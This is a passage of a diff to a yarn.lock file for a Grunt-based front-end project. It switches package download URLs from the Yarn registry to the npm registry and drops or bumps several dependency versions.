--    minimatch "^5.0.1"
--    once "^1.3.0"
--
- glob@~7.1.1, glob@~7.1.6:
-   version "7.1.7"
--  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
-+  resolved "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz"
-   integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
-   dependencies:
-     fs.realpath "^1.0.0"
-@@ -831,7 +618,7 @@ glob@~7.1.1, glob@~7.1.6:
- 
- global-modules@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-1.0.0.tgz#6d770f0eb523ac78164d72b5e71a8877265cc3ea"
-+  resolved "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz"
-   integrity sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==
-   dependencies:
-     global-prefix "^1.0.1"
-@@ -840,7 +627,7 @@ global-modules@^1.0.0:
- 
- global-prefix@^1.0.1:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-1.0.2.tgz#dbf743c6c14992593c655568cb66ed32c0122ebe"
-+  resolved "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz"
-   integrity sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==
-   dependencies:
-     expand-tilde "^2.0.2"
-@@ -851,7 +638,7 @@ global-prefix@^1.0.1:
- 
- globule@^1.0.0:
-   version "1.3.4"
--  resolved "https://registry.yarnpkg.com/globule/-/globule-1.3.4.tgz#7c11c43056055a75a6e68294453c17f2796170fb"
-+  resolved "https://registry.npmjs.org/globule/-/globule-1.3.4.tgz"
-   integrity sha512-OPTIfhMBh7JbBYDpa5b+Q5ptmMWKwcNcFSR/0c6t8V4f3ZAVBEsKNY37QdVqmLRYSMhOUGYrY0QhSoEpzGr/Eg==
-   dependencies:
-     glob "~7.1.1"
-@@ -860,26 +647,19 @@ globule@^1.0.0:
- 
- good-listener@^1.2.2:
-   version "1.2.2"
--  resolved "https://registry.yarnpkg.com/good-listener/-/good-listener-1.2.2.tgz#d53b30cdf9313dffb7dc9a0d477096aa6d145c50"
-+  resolved "https://registry.npmjs.org/good-listener/-/good-listener-1.2.2.tgz"
-   integrity sha512-goW1b+d9q/HIwbVYZzZ6SsTr4IgE+WA44A0GmPIQstuOrgsFcT7VEJ48nmr9GaRtNu0XTKacFLGnBPAM6Afouw==
-   dependencies:
-     delegate "^3.1.2"
- 
--gopd@^1.0.1:
--  version "1.1.0"
--  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.1.0.tgz#df8f0839c2d48caefc32a025a49294d39606c912"
--  integrity sha512-FQoVQnqcdk4hVM4JN1eromaun4iuS34oStkdlLENLdpULsuQcTyXj8w7ayhuUfPwEYZ1ZOooOTT6fdA9Vmx/RA==
--  dependencies:
--    get-intrinsic "^1.2.4"
--
--graceful-fs@^4.2.6:
--  version "4.2.11"
--  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
--  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
-+gopd@^1.2.0:
-+  version "1.2.0"
-+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
-+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
- 
- grunt-cli@~1.4.3:
-   version "1.4.3"
--  resolved "https://registry.yarnpkg.com/grunt-cli/-/grunt-cli-1.4.3.tgz#22c9f1a3d2780bf9b0d206e832e40f8f499175ff"
-+  resolved "https://registry.npmjs.org/grunt-cli/-/grunt-cli-1.4.3.tgz"
-   integrity sha512-9Dtx/AhVeB4LYzsViCjUQkd0Kw0McN2gYpdmGYKtE2a5Yt7v1Q+HYZVWhqXc/kGnxlMtqKDxSwotiGeFmkrCoQ==
-   dependencies:
-     grunt-known-options "~2.0.0"
-@@ -890,7 +670,7 @@ grunt-cli@~1.4.3:
- 
- grunt-contrib-clean@2.0:
-   version "2.0.1"
--  resolved "https://registry.yarnpkg.com/grunt-contrib-clean/-/grunt-contrib-clean-2.0.1.tgz#062e8019d31bfca35af8929a2ee1063c6c46dd2d"
-+  resolved "https://registry.npmjs.org/grunt-contrib-clean/-/grunt-contrib-clean-2.0.1.tgz"
-   integrity sha512-uRvnXfhiZt8akb/ZRDHJpQQtkkVkqc/opWO4Po/9ehC2hPxgptB9S6JHDC/Nxswo4CJSM0iFPT/Iym3cEMWzKA==
-   dependencies:
-     async "^3.2.3"
-@@ -898,7 +678,7 @@ grunt-contrib-clean@2.0:
- 
- grunt-contrib-concat@2.1:
-   version "2.1.0"
--  resolved "https://registry.yarnpkg.com/grunt-contrib-concat/-/grunt-contrib-concat-2.1.0.tgz#9ac62117a18b48d1bfccb3eef46c960bbd163d75"
-+  resolved "https://registry.npmjs.org/grunt-contrib-concat/-/grunt-contrib-concat-2.1.0.tgz"
-   integrity sha512-Vnl95JIOxfhEN7bnYIlCgQz41kkbi7tsZ/9a4usZmxNxi1S2YAIOy8ysFmO8u4MN26Apal1O106BwARdaNxXQw==
-   dependencies:
-     chalk "^4.1.2"
-@@ -906,7 +686,7 @@ grunt-contrib-concat@2.1:
- 
- grunt-contrib-copy@1.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/grunt-contrib-copy/-/grunt-contrib-copy-1.0.0.tgz#7060c6581e904b8ab0d00f076e0a8f6e3e7c3573"
-+  resolved "https://registry.npmjs.org/grunt-contrib-copy/-/grunt-contrib-copy-1.0.0.tgz"
-   integrity sha512-gFRFUB0ZbLcjKb67Magz1yOHGBkyU6uL29hiEW1tdQ9gQt72NuMKIy/kS6dsCbV0cZ0maNCb0s6y+uT1FKU7jA==
-   dependencies:
-     chalk "^1.1.1"
-@@ -914,7 +694,7 @@ grunt-contrib-copy@1.0:
- 
- grunt-contrib-uglify@5.2:
-   version "5.2.2"
--  resolved "https://registry.yarnpkg.com/grunt-contrib-uglify/-/grunt-contrib-uglify-5.2.2.tgz#447c0b58451a1fca20768371e07e723a870dfe98"
-+  resolved "https://registry.npmjs.org/grunt-contrib-uglify/-/grunt-contrib-uglify-5.2.2.tgz"
-   integrity sha512-ITxiWxrjjP+RZu/aJ5GLvdele+sxlznh+6fK9Qckio5ma8f7Iv8woZjRkGfafvpuygxNefOJNc+hfjjBayRn2Q==
-   dependencies:
-     chalk "^4.1.2"
-@@ -924,7 +704,7 @@ grunt-contrib-uglify@5.2:
- 
- grunt-contrib-watch@1.1:
-   version "1.1.0"
--  resolved "https://registry.yarnpkg.com/grunt-contrib-watch/-/grunt-contrib-watch-1.1.0.tgz#c143ca5b824b288a024b856639a5345aedb78ed4"
-+  resolved "https://registry.npmjs.org/grunt-contrib-watch/-/grunt-contrib-watch-1.1.0.tgz"
-   integrity sha512-yGweN+0DW5yM+oo58fRu/XIRrPcn3r4tQx+nL7eMRwjpvk+rQY6R8o94BPK0i2UhTg9FN21hS+m8vR8v9vXfeg==
-   dependencies:
-     async "^2.6.0"
-@@ -934,12 +714,12 @@ grunt-contrib-watch@1.1:
- 
- grunt-known-options@~2.0.0:
-   version "2.0.0"
--  resolved "https://registry.yarnpkg.com/grunt-known-options/-/grunt-known-options-2.0.0.tgz#cac641e897f9a0a680b8c9839803d35f3325103c"
-+  resolved "https://registry.npmjs.org/grunt-known-options/-/grunt-known-options-2.0.0.tgz"
-   integrity sha512-GD7cTz0I4SAede1/+pAbmJRG44zFLPipVtdL9o3vqx9IEyb7b4/Y3s7r6ofI3CchR5GvYJ+8buCSioDv5dQLiA==
- 
- grunt-legacy-log-utils@~2.1.0:
-   version "2.1.0"
--  resolved "https://registry.yarnpkg.com/grunt-legacy-log-utils/-/grunt-legacy-log-utils-2.1.0.tgz#49a8c7dc74051476dcc116c32faf9db8646856ef"
-+  resolved "https://registry.npmjs.org/grunt-legacy-log-utils/-/grunt-legacy-log-utils-2.1.0.tgz"
-   integrity sha512-lwquaPXJtKQk0rUM1IQAop5noEpwFqOXasVoedLeNzaibf/OPWjKYvvdqnEHNmU+0T0CaReAXIbGo747ZD+Aaw==
-   dependencies:
-     chalk "~4.1.0"
-@@ -947,7 +727,7 @@ grunt-legacy-log-utils@~2.1.0:
- 
- grunt-legacy-log@~3.0.0:
-   version "3.0.0"
--  resolved "https://registry.yarnpkg.com/grunt-legacy-log/-/grunt-legacy-log-3.0.0.tgz#1c6eaf92371ea415af31ea84ce50d434ef6d39c4"
-+  resolved "https://registry.npmjs.org/grunt-legacy-log/-/grunt-legacy-log-3.0.0.tgz"
-   integrity sha512-GHZQzZmhyq0u3hr7aHW4qUH0xDzwp2YXldLPZTCjlOeGscAOWWPftZG3XioW8MasGp+OBRIu39LFx14SLjXRcA==
-   dependencies:
-     colors "~1.1.2"
-@@ -957,7 +737,7 @@ grunt-legacy-log@~3.0.0:
- 
- grunt-legacy-util@~2.0.1:
-   version "2.0.1"
--  resolved "https://registry.yarnpkg.com/grunt-legacy-util/-/grunt-legacy-util-2.0.1.tgz#0f929d13a2faf9988c9917c82bff609e2d9ba255"
-+  resolved "https://registry.npmjs.org/grunt-legacy-util/-/grunt-legacy-util-2.0.1.tgz"
-   integrity sha512-2bQiD4fzXqX8rhNdXkAywCadeqiPiay0oQny77wA2F3WF4grPJXCvAcyoWUJV+po/b15glGkxuSiQCK299UC2w==
-   dependencies:
-     async "~3.2.0"
-@@ -970,7 +750,7 @@ grunt-legacy-util@~2.0.1:
- 
- grunt-postcss@0.9:
-   version "0.9.0"
--  resolved "https://registry.yarnpkg.com/grunt-postcss/-/grunt-postcss-0.9.0.tgz#fbe5934a6be9eac893af6d057e2318c97fae9da3"
-+  resolved "https://registry.npmjs.org/grunt-postcss/-/grunt-postcss-0.9.0.tgz"
-   integrity sha512-lglLcVaoOIqH0sFv7RqwUKkEFGQwnlqyAKbatxZderwZGV1nDyKHN7gZS9LUiTx1t5GOvRBx0BEalHMyVwFAIA==
-   dependencies:
-     chalk "^2.1.0"
-@@ -979,12 +759,12 @@ grunt-postcss@0.9:
- 
- grunt-sass@3.1:
-   version "3.1.0"
--  resolved "https://registry.yarnpkg.com/grunt-sass/-/grunt-sass-3.1.0.tgz#a5936cc2a80ec08092d9f31c101dc307d1e4f71c"
-+  resolved "https://registry.npmjs.org/grunt-sass/-/grunt-sass-3.1.0.tgz"
-   integrity sha512-90s27H7FoCDcA8C8+R0GwC+ntYD3lG6S/jqcavWm3bn9RiJTmSfOvfbFa1PXx4NbBWuiGQMLfQTj/JvvqT5w6A==
- 
- grunt@1.6:
-   version "1.6.1"
--  resolved "https://registry.yarnpkg.com/grunt/-/grunt-1.6.1.tgz#0b4dd1524f26676dcf45d8f636b8d9061a8ede16"
-+  resolved "https://registry.npmjs.org/grunt/-/grunt-1.6.1.tgz"
-   integrity sha512-/ABUy3gYWu5iBmrUSRBP97JLpQUm0GgVveDCp6t3yRNIoltIYw7rEj3g5y1o2PGPR2vfTRGa7WC/LZHLTXnEzA==
-   dependencies:
-     dateformat "~4.6.2"
-@@ -1003,57 +783,35 @@ grunt@1.6:
- 
- gzip-size@^5.1.1:
-   version "5.1.1"
--  resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-5.1.1.tgz#cb9bee692f87c0612b232840a873904e4c135274"
-+  resolved "https://registry.npmjs.org/gzip-size/-/gzip-size-5.1.1.tgz"
-   integrity sha512-FNHi6mmoHvs1mxZAds4PpdCS6QG8B4C1krxJsMutgxl5t3+GlRTzzI3NEkifXx2pVsOvJdOGSmIgDhQ55FwdPA==
-   dependencies:
-     duplexer "^0.1.1"
-     pify "^4.0.1"
- 
--hard-rejection@^2.1.0:
--  version "2.1.0"
--  resolved "https://registry.yarnpkg.com/hard-rejection/-/hard-rejection-2.1.0.tgz#1c6eda5c1685c63942766d79bb40ae773cecd883"
--  integrity sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==
--
- has-ansi@^2.0.0:
-   version "2.0.0"
--  resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
-+  resolved "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz"
-   integrity sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg==
-   dependencies:
-     ansi-regex "^2.0.0"
- 
- has-flag@^3.0.0:
-   version "3.0.0"
--  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
-+  resolved "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz"
-   integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==
- 
- has-flag@^4.0.0:
-   version "4.0.0"
--  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
-+  resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz"
-   integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
- 
--has-property-descriptors@^1.0.2:
--  version "1.0.2"
--  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
--  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
--  dependencies:
--    es-define-property "^1.0.0"
--
--has-proto@^1.0.1:
--  version "1.0.3"
--  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.3.tgz#b31ddfe9b0e6e9914536a6ab286426d0214f77fd"
--  integrity sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==
--
--has-symbols@^1.0.3:
--  version "1.0.3"
--  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8"
--  integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==
--
--has-unicode@^2.0.1:
--  version "2.0.1"
--  resolved "https://registry.yarnpkg.com/has-unicode/-/has-unicode-2.0.1.tgz#e0e6fe6a28cf51138855e086d1691e771de2a8b9"
--  integrity sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==
-+has-symbols@^1.1.0:
-+  version "1.1.0"
-+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
-+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
- 
--hasown@^2.0.0, hasown@^2.0.2:
-+hasown@^2.0.2:
-   version "2.0.2"
-   resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
-   integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
-@@ -1062,275 +820,162 @@ hasown@^2.0.0, hasown@^2.0.2:
- 
- homedir-polyfill@^1.0.1:
-   version "1.0.3"
--  resolved "https://registry.yarnpkg.com/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz#743298cef4e5af3e194161fbadcc2151d3a058e8"
-+  resolved "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz"
-   integrity sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==
-   dependencies:
-     parse-passwd "^1.0.0"
- 
- hooker@~0.2.3:
-   version "0.2.3"
--  resolved "https://registry.yarnpkg.com/hooker/-/hooker-0.2.3.tgz#b834f723cc4a242aa65963459df6d984c5d3d959"
-+  resolved "https://registry.npmjs.org/hooker/-/hooker-0.2.3.tgz"
-   integrity sha512-t+UerCsQviSymAInD01Pw+Dn/usmz1sRO+3Zk1+lx8eg+WKpD2ulcwWqHHL0+aseRBr+3+vIhiG1K1JTwaIcTA==
- 
--hosted-git-info@^2.1.4:
--  version "2.8.9"
--  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
--  integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==
--
--hosted-git-info@^4.0.1:
--  version "4.1.0"
--  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-4.1.0.tgz#827b82867e9ff1c8d0c4d9d53880397d2c86d224"
--  integrity sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==
--  dependencies:
--    lru-cache "^6.0.0"
--
- html5shiv@3.7:
-   version "3.7.3"
--  resolved "https://registry.yarnpkg.com/html5shiv/-/html5shiv-3.7.3.tgz#d78a84a367bcb9a710100d57802c387b084631d2"
-+  resolved "https://registry.npmjs.org/html5shiv/-/html5shiv-3.7.3.tgz"
-   integrity sha512-SZwGvLGNtgp8GbgFX7oXEp8OR1aBt5LliX6dG0kdD1kl3KhMonN0QcSa/A3TsTgFewaGCbIryQunjayWDXzxmw==
- 
--http-cache-semantics@^4.1.0:
--  version "4.1.1"
--  resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz#abe02fcb2985460bf0323be664436ec3476a6d5a"
--  integrity sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==
--
- http-parser-js@>=0.5.1:
-   version "0.5.8"
--  resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.8.tgz#af23090d9ac4e24573de6f6aecc9d84a48bf20e3"
-+  resolved "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz"
-   integrity sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==
- 
--http-proxy-agent@^4.0.1:
--  version "4.0.1"
--  resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz#8a8c8ef7f5932ccf953c296ca8291b95aa74aa3a"
--  integrity sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==
--  dependencies:
--    "@tootallnate/once" "1"
--    agent-base "6"
--    debug "4"
--
--http-proxy-agent@^5.0.0:
--  version "5.0.0"
--  resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz#5129800203520d434f142bc78ff3c170800f2b43"
--  integrity sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==
--  dependencies:
--    "@tootallnate/once" "2"
--    agent-base "6"
--    debug "4"
--
--https-proxy-agent@^5.0.0:
--  version "5.0.1"
--  resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6"
--  integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==
--  dependencies:
--    agent-base "6"
--    debug "4"
--
--humanize-ms@^1.2.1:
--  version "1.2.1"
--  resolved "https://registry.yarnpkg.com/humanize-ms/-/humanize-ms-1.2.1.tgz#c46e3159a293f6b896da29316d8b6fe8bb79bbed"
--  integrity sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==
--  dependencies:
--    ms "^2.0.0"
--
--iconv-lite@^0.6.2, iconv-lite@~0.6.3:
-+iconv-lite@~0.6.3:
-   version "0.6.3"
--  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.3.tgz#a52f80bf38da1952eb5c681790719871a1a72501"
-+  resolved "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz"
-   integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==
-   dependencies:
-     safer-buffer ">= 2.1.2 < 3.0.0"
- 
--imurmurhash@^0.1.4:
--  version "0.1.4"
--  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
--  integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==
--
--indent-string@^4.0.0:
--  version "4.0.0"
--  resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251"
--  integrity sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==
--
--infer-owner@^1.0.4:
--  version "1.0.4"
--  resolved "https://registry.yarnpkg.com/infer-owner/-/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467"
--  integrity sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==
-+immutable@^5.0.2:
-+  version "5.1.3"
-+  resolved "https://registry.npmjs.org/immutable/-/immutable-5.1.3.tgz"
-+  integrity sha512-+chQdDfvscSF1SJqv2gn4SRO2ZyS3xL3r7IW/wWEEzrzLisnOlKiQu5ytC/BVNcS15C39WT2Hg/bjKjDMcu+zg==
- 
- inflight@^1.0.4:
-   version "1.0.6"
--  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
-+  resolved "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz"
-   integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
-   dependencies:
-     once "^1.3.0"
-     wrappy "1"
- 
--inherits@2, inherits@^2.0.3, inherits@~2.0.3:
-+inherits@2:
-   version "2.0.4"
--  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
-+  resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz"
-   integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
- 
- ini@^1.3.4:
-   version "1.3.8"
--  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
-+  resolved "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz"
-   integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
- 
- interpret@~1.1.0:
-   version "1.1.0"
--  resolved "https://registry.yarnpkg.com/interpret/-/interpret-1.1.0.tgz#7ed1b1410c6a0e0f78cf95d3b8440c63f78b8614"
-+  resolved "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz"
-   integrity sha512-CLM8SNMDu7C5psFCn6Wg/tgpj/bKAg7hc2gWqcuR9OD5Ft9PhBpIu8PLicPeis+xDd6YX2ncI8MCA64I9tftIA==
- 
--ip-address@^9.0.5:
--  version "9.0.5"
--  resolved "https://registry.yarnpkg.com/ip-address/-/ip-address-9.0.5.tgz#117a960819b08780c3bd1f14ef3c1cc1d3f3ea5a"
--  integrity sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==
--  dependencies:
--    jsbn "1.1.0"
--    sprintf-js "^1.1.3"
--
- is-absolute@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/is-absolute/-/is-absolute-1.0.0.tgz#395e1ae84b11f26ad1795e73c17378e48a301576"
-+  resolved "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz"
-   integrity sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==
-   dependencies:
-     is-relative "^1.0.0"
-     is-windows "^1.0.1"
- 
--is-arrayish@^0.2.1:
--  version "0.2.1"
--  resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
--  integrity sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==
--
--is-core-module@^2.13.0, is-core-module@^2.5.0:
--  version "2.15.1"
--  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.15.1.tgz#a7363a25bee942fefab0de13bf6aa372c82dcc37"
--  integrity sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==
-+is-core-module@^2.13.0:
-+  version "2.16.1"
-+  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4"
-+  integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==
-   dependencies:
-     hasown "^2.0.2"
- 
- is-extglob@^2.1.1:
-   version "2.1.1"
--  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
-+  resolved "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz"
-   integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
- 
--is-fullwidth-code-point@^3.0.0:
--  version "3.0.0"
--  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
--  integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
--
- is-glob@^4.0.0, is-glob@^4.0.3:
-   version "4.0.3"
--  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
-+  resolved "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz"
-   integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
-   dependencies:
-     is-extglob "^2.1.1"
- 
--is-lambda@^1.0.1:
--  version "1.0.1"
--  resolved "https://registry.yarnpkg.com/is-lambda/-/is-lambda-1.0.1.tgz#3d9877899e6a53efc0160504cde15f82e6f061d5"
--  integrity sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==
--
- is-number@^7.0.0:
